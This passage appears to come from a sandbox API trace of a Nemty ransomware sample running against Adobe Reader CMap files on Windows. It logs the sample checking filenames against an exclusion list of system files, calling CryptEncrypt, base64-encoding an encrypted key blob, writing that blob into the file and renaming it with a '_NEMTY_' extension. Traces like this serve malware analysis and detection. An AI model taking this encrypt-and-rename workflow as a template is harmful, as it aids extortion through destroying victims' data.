lpMultiByteStr="UCS2-90ms-RKSJ", lpUsedDefaultChar=0x0) returned 14 [0210.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0210.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-90ms-RKSJ", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0210.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-90ms-RKSJ", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-90ms-RKSJ", lpUsedDefaultChar=0x0) returned 14 [0210.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0210.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-90ms-RKSJ", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0210.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-90ms-RKSJ", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-90ms-RKSJ", lpUsedDefaultChar=0x0) returned 14 [0210.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-90ms-RKSJ", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0210.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-90ms-RKSJ", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-90ms-RKSJ", lpUsedDefaultChar=0x0) returned 14 [0210.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0210.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0210.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0210.163] Sleep (dwMilliseconds=0x5) [0210.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x30e9a0b0, dwHighDateTime=0x1d561e8)) [0210.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x30e9a0b0, dwHighDateTime=0x1d561e8)) [0210.177] GetLastError () returned 0x5 [0210.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0210.177] GetLastError () returned 0x5 [0210.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0210.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0210.177] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0210.177] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0210.177] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0210.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0210.177] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="Zm+nUHek3w/lrth2AYiaU6YlB5q7OB1c338JfvNNsyLfWiS3AtA80+YUHefVD2i7\r\nBxrA2NcDDNFc3oFTRU/7ihNuPmoljv9ul1N9Mm9kvAyZing/SYeHL49gYcS2QLDB\r\nCBLuzQVY1q84tb5lhwKoKvzNWz3PFv9Gg3tBl3P5F182Ofgqqs2GLjUI4YsLRxyc\r\ngjriEOYxy6je25dzbKX7Jlo3MD0ttzAo/I8a1BEvGiBCdt6i0r5AESJ3BNYIbCvO\r\nBx9YWKmByY3m06jjtbWi8IV1CuY6tlR++IX9XBV8Wf2sLwT3sW4JtWdbFJr7irH0\r\n/GMlDovExA4g5MJ6imciLQ==\r\n", pcchString=0x653e91c) returned 1 [0210.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0210.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0210.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0210.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0210.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0210.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0210.178] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90ms-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-90ms-rksj"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0210.180] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0210.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0210.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.180] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.189] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.190] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.190] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.199] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.199] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.199] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.199] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.209] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.218] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.218] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.230] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.230] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.241] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.241] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.250] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.250] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.260] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.260] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.269] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.269] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.308] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.315] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.321] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.321] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0210.321] CloseHandle (hObject=0xffffffff) returned 0 [0210.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0210.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0210.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0210.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0210.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0210.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0210.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0210.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0210.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0210.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0210.321] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90ms-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-90ms-rksj"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90ms-RKSJ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-90ms-rksj._nemty_kgobjgd_")) returned 0 [0210.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0210.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0210.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0210.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0210.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0210.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0210.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0210.321] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24373, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-90pv-RKSJ", cAlternateFileName="UCS2-9~2")) returned 1 [0210.321] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2=".") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="..") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="...") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="windows") returned -1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="$RECYCLE.BIN") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="rsa") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="NTDETECT.COM") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="ntldr") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="MSDOS.SYS") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="IO.SYS") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="boot.ini") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="boot.ini") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="AUTOEXEC.BAT") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="ntuser.dat") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="desktop.ini") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="CONFIG.SYS") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="RECYCLER") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="BOOTSECT.BAK") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="bootmgr") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="programdata") returned 1 [0210.322] lstrcmpiW (lpString1="UCS2-90pv-RKSJ", lpString2="appdata") returned 1 [0210.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-90pv-RKSJ", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0210.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-90pv-RKSJ", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-90pv-RKSJ", lpUsedDefaultChar=0x0) returned 14 [0210.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0210.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-90pv-RKSJ", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0210.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-90pv-RKSJ", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-90pv-RKSJ", lpUsedDefaultChar=0x0) returned 14 [0210.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0210.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-90pv-RKSJ", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0210.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-90pv-RKSJ", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-90pv-RKSJ", lpUsedDefaultChar=0x0) returned 14 [0210.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-90pv-RKSJ", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0210.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-90pv-RKSJ", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-90pv-RKSJ", lpUsedDefaultChar=0x0) returned 14 [0210.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0210.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0210.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0210.323] Sleep (dwMilliseconds=0x5) [0210.450] 